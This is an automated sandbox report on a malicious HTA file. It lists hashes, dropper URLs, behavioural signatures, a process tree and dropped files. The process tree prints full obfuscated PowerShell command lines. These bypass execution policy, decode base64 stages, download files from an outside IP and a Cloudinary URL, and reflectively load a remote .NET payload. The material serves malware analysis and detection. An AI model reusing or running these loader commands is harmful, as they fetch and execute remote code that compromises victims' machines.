Analysis

  • max time kernel
    121s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    13-12-2024 06:08

General

  • Target

    creamkissingthingswithcreambananapackagecreamy.hta

  • Size

    80KB

  • MD5

    049640aa09b45f8f374ec9fff6e272e5

  • SHA1

    ca0990ea3db24491c5a5ce408b921383b0d74db8

  • SHA256

    277bce05fe87b2c2edd725dc6bc75c98a9f3d3fc68159a65471625009fe0e9e7

  • SHA512

    044cc9e601d6809ae166a99c91656b54fc602d088edba57013f2575ebe2e2dd0200e29335494977479a5ed04d81313d5b4816a7ec419e14df95f773133c9a7cc

  • SSDEEP

    768:tmbUZA+cT/RVeU2Dx6AyZ6LAuAHA/OxlbVxP7iZ5VQSG/wa3s+RP7i2dfwwwAkKD:tk

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

exe.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Evasion via Device Credential Deployment 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\creamkissingthingswithcreambananapackagecreamy.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:632
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/C PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3052
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        PoWErsheLl -ex bYPAsS -NoP -w 1 -c DEvIcECREdEnTiAlDEPlOymenT.exE ; iNVoKe-expreSSiON($(INvOKe-eXPRESsiOn('[SySTeM.tExt.EncOdiNg]'+[CHaR]0X3A+[Char]0x3a+'uTF8.gETSTrinG([systEM.conveRT]'+[cHAR]0x3A+[CHAR]58+'frOmBASE64sTRinG('+[ChAr]34+'JDZaMHdNY2diT1g1ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQURELVRZcGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFcmRFRmlOSVRpb04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoIlVyTE1vTi5EbGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG9xaXBUeWZFVyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQkdsVVVFc0ksc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFMsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpdFRVeHR6cyxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgUE1sKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpYkYiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uQU1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWJmS1NzU0FEICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDZaMHdNY2diT1g1OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTkyLjIxMC4xNTAuMjQvNTUvY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtaWNyZWFtLnRJRiIsIiRlTlY6QVBQREFUQVxjcmVhbXlraXNzaW5nbGlwc2dvb2Rmb3JjcmVhbXl0aGluZ3N3aXRoY3JlYW0udmJTIiwwLDApO1N0YVJ0LVNMZWVQKDMpO0ludm9rRS1FWHBSRVNTaW9uICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZU5WOkFQUERBVEFcY3JlYW15a2lzc2luZ2xpcHNnb29kZm9yY3JlYW15dGhpbmdzd2l0aGNyZWFtLnZiUyI='+[chAr]34+'))')))"
        3⤵
        • Blocklisted process makes network request
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:3024
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\dbsrflqh.cmdline"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2200
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
            C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9F4C.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC9F4B.tmp"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2752
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\creamykissinglipsgoodforcreamythingswithcream.vbS"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2780
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $isohemolytic = 'JGNhc2VtYXRlZCA9ICdodHRwczovL3Jlcy5jbG91ZGluYXJ5LmNvbS9keXRmbHQ2MW4vaW1hZ2UvdXBsb2FkL3YxNzMzMTM0OTQ3L2JrbHB5c2V5ZXV0NGltcHc1MG4xLmpwZyAnOyRSYWRub3IgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OyRoZW1pYWJsZXBzaWEgPSAkUmFkbm9yLkRvd25sb2FkRGF0YSgkY2FzZW1hdGVkKTskYmlkZXMgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZygkaGVtaWFibGVwc2lhKTska2lkZGllcyA9ICc8PEJBU0U2NF9TVEFSVD4+JzskYXZlbnRhaWxlID0gJzw8QkFTRTY0X0VORD4+Jzskc3RhaW4gPSAkYmlkZXMuSW5kZXhPZigka2lkZGllcyk7JHJlc2h1ZmZsZSA9ICRiaWRlcy5JbmRleE9mKCRhdmVudGFpbGUpOyRzdGFpbiAtZ2UgMCAtYW5kICRyZXNodWZmbGUgLWd0ICRzdGFpbjskc3RhaW4gKz0gJGtpZGRpZXMuTGVuZ3RoOyRzdWJhY3V0ZWx5ID0gJHJlc2h1ZmZsZSAtICRzdGFpbjskYXJ0aHJhbGdpYSA9ICRiaWRlcy5TdWJzdHJpbmcoJHN0YWluLCAkc3ViYWN1dGVseSk7JHVuYWRzb3JiZWQgPSAtam9pbiAoJGFydGhyYWxnaWEuVG9DaGFyQXJyYXkoKSB8IEZvckVhY2gtT2JqZWN0IHsgJF8gfSlbLTEuLi0oJGFydGhyYWxnaWEuTGVuZ3RoKV07JG1pbnRsaWtlID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkdW5hZHNvcmJlZCk7JG1pbGxpbmVyID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZCgkbWludGxpa2UpOyRwcm9kaWdhbCA9IFtkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoJ1ZBSScpOyRwcm9kaWdhbC5JbnZva2UoJG51bGwsIEAoJzAvQXpmOG8vci9lZS5ldHNhcC8vOnNwdHRoJywgJyRoZXRlcm9icmFuY2hpYScsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywgJ0Nhc1BvbCcsICckaGV0ZXJvYnJhbmNoaWEnLCAnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnJGhldGVyb2JyYW5jaGlhJywnMScsJyRoZXRlcm9icmFuY2hpYScpKTs=';$choleate = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($isohemolytic));Invoke-Expression $choleate
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2648

Network

MITRE ATT&CK Enterprise v15

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\CabBC8D.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\RES9F4C.tmp

    Filesize

    1KB

    MD5

    fcfae3388d9839e86927ddd7172062db

    SHA1

    c38a7dc4f7a03f8aabe32998b7bb2bd4e7e4b946

    SHA256

    b474123084acc2c168496c05f34c50c4b697006ab8cae329717ed58fd426c43e

    SHA512

    c0df834d2f33758c8eb5dec82cb643da5c3926216c36afa809e97962cc95e2939b4b1a3d8b3870022c3e5c6085c95082b0fd2c3b6cb457a06c48184ad3814156

  • C:\Users\Admin\AppData\Local\Temp\TarBCA0.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • C:\Users\Admin\AppData\Local\Temp\dbsrflqh.dll

    Filesize

    3KB

    MD5

    345f12fcd74b5566e2751eeef55f5171

    SHA1

    d11ef93eece8ad5feca3a4437b91922a532e4edd

    SHA256

    67e83cbc26d6d8c041bbd5c55ca46b9b03d3752cdb292291fab5e08ee5695a24

    SHA512

    96ffb0d78e9859a325cc06ee65167a87eab3d39c34e3120518a7e4e05c540b0084257586b81bd8961038e16d2aaec16f8805d0475af603d871b51f2838bb33d6

  • C:\Users\Admin\AppData\Local\Temp\dbsrflqh.pdb

    Filesize

    7KB

    MD5

    9d157f192f845a35e217d961cfa503cb

    SHA1

    562e668a8bb5e5cdce44332fe306ac52417b9dd1

    SHA256

    c49cbe9296af5975c3e2744a1a3852d7ac89c0f1fda5e21ff3d8562490b67d49

    SHA512

    24e53e8b58bbc79600569f578276b855952dd4f981c5e03ac05890d0a2c98a82e5e09635d0f6cfc1002695e3b9153de240571f74e8b29fb4bce50e10f90d7f43

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    14f7def99075f6566cfacc32ec1cf900

    SHA1

    570f4283ed3b57d210f1c5d29a604e0d7bcfd23b

    SHA256

    07dfc532477a601dc9b0728463efa783e725d4b745dfeb78a83985d525e9f5de

    SHA512

    18e6e50b50ae84fb5e9c407ccc70e88a9ba6c7a2e2ae7a9b76dedd8f8bfb9636338aa46962cab471968a77b2f56d55b27f0ad6e334855b532cf35de083c41dcc

  • C:\Users\Admin\AppData\Roaming\creamykissinglipsgoodforcreamythingswithcream.vbS

    Filesize

    150KB

    MD5

    716d2edd830102bbbad2cb0a1a0259f1

    SHA1

    720d2db1e6c8162f89376d06f149237ad8269297

    SHA256

    5a110b1e0b3424a297618863ffa88a2de1f09c266687f93da8e3d7c6dab48341

    SHA512

    edc3624e8071e058981bf47598b654321846a4538d4f64826457108431584021ca901c16278ab74775ef64a377387427a03cd4592b711f624c463bcdb53986ca

  • \??\c:\Users\Admin\AppData\Local\Temp\CSC9F4B.tmp

    Filesize

    652B

    MD5

    c73e69e12e8b56faf58b0ec2307506e0

    SHA1

    616b5b8d88f74110a35547b419e0753dc526a770

    SHA256

    95822d758e330b0301525bf848505136447698391658ef49f48485c013a2ce37

    SHA512

    f55a2d87ef386ea9e7ecfe3b7f73a45b63a30c77a6791bd1a48cb986b1af3b802a37c50e95c62f83a39fc25189ac203cf4d453dedbce6756207213d147bdda02

  • \??\c:\Users\Admin\AppData\Local\Temp\dbsrflqh.0.cs

    Filesize

    484B

    MD5

    48060b02d61c7c41db2a78dd5ba30307

    SHA1

    7064e1187a73995e4b916ac3d594014d9938a13d

    SHA256

    12c2558ddddb21359a0a88e1e7bdd1b2c28cb56435c4f9d9796161a2f60b7be7

    SHA512

    e522f64e687f3ba212703d2b8b5e0320e806359eb16a4fa21d08d5e27e858c82a88aabd01b82a816b96378c15013371451366e1a586e13a132dc7d0d2a86f46c

  • \??\c:\Users\Admin\AppData\Local\Temp\dbsrflqh.cmdline

    Filesize

    309B

    MD5

    fb8a77294d2a7bcae2c36b6d5359b2fc

    SHA1

    ab44c003f4545abfe02e73230005808233bde810

    SHA256

    9f0f0317511a8cd06791990638011acca6fa3fddcea2802020db4142cd470eb7

    SHA512

    77f77f622c98445852ef36f23b0d29049899d44b9d33990cb5f9f6222ba0a1ccf95a4c22fe7d7f35b4e55dcfa878f3b3e94efc634e64ed32bda43bf901506d94